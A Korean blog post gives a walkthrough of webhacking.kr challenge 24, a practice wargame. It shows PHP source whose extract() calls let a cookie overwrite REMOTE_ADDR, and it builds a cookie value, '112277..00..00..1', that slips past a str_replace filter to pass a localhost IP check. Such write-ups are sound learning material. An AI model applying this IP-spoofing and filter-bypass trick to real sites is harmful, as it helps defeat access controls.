본문 바로가기
웹 해킹/webhacking.kr

webhacking.kr 24번

by sonysame 2018. 2. 9.
소스코드는 다음과 같다.


<html>
<head>
<title>Challenge 24</title>
</head>
<body>
<table border=1><tr><td>client ip</td><td>121.139.96.245</td></tr><tr><td>agent</td><td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36</td></tr></table><p><hr><center>Wrong IP!</center><hr>


<!--

source : index.phps

-->

</body>
</html>


여기서 보면 주석처리 되었는데, source: index.phps 를 볼 수 있다.


그렇다면, index.phps에 들어가보자!


<html>
<head>
<title>Challenge 24</title>
</head>
<body>
<?

extract
($_SERVER);
extract($_COOKIE);

if(!
$REMOTE_ADDR$REMOTE_ADDR=$_SERVER[REMOTE_ADDR];

$ip=$REMOTE_ADDR;
$agent=$HTTP_USER_AGENT;


if(
$_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}

echo(
"<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");

if(
$ip=="127.0.0.1")
{
@
solve();
}

else
{
echo(
"<p><hr><center>Wrong IP!</center><hr>");
}
?>



<!--

source : index.phps

-->

</body>
</html>


ip가 127.0.0.1이어야 한다.


지금 여기서!

str_replace에 의해 12->null 7.->null 0.->null 로 바뀌는 것을 볼 수 있다.


edit this cookie를 이용해서

REMOTE_ADDR을 바꿔주었다!

112277..00..00..1




다른 방법으로는,

console창을 이용하는 방법이 있다.

javascript:document.cookie="REMOTE_ADDR=112277..00..00..1";


다른 방법으로는

주소창에

javascript:alert(document.cookie="REMOTE_ADDR=112277..00..00..1");


'웹 해킹 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 38번  (0) 2018.02.09
webhacking.kr 26번  (0) 2018.02.09
webhacking.kr 18번-SQL INJECTION  (0) 2018.02.07
webhacking.kr 16번  (0) 2018.02.07
webhacking.kr 4번  (0) 2018.02.07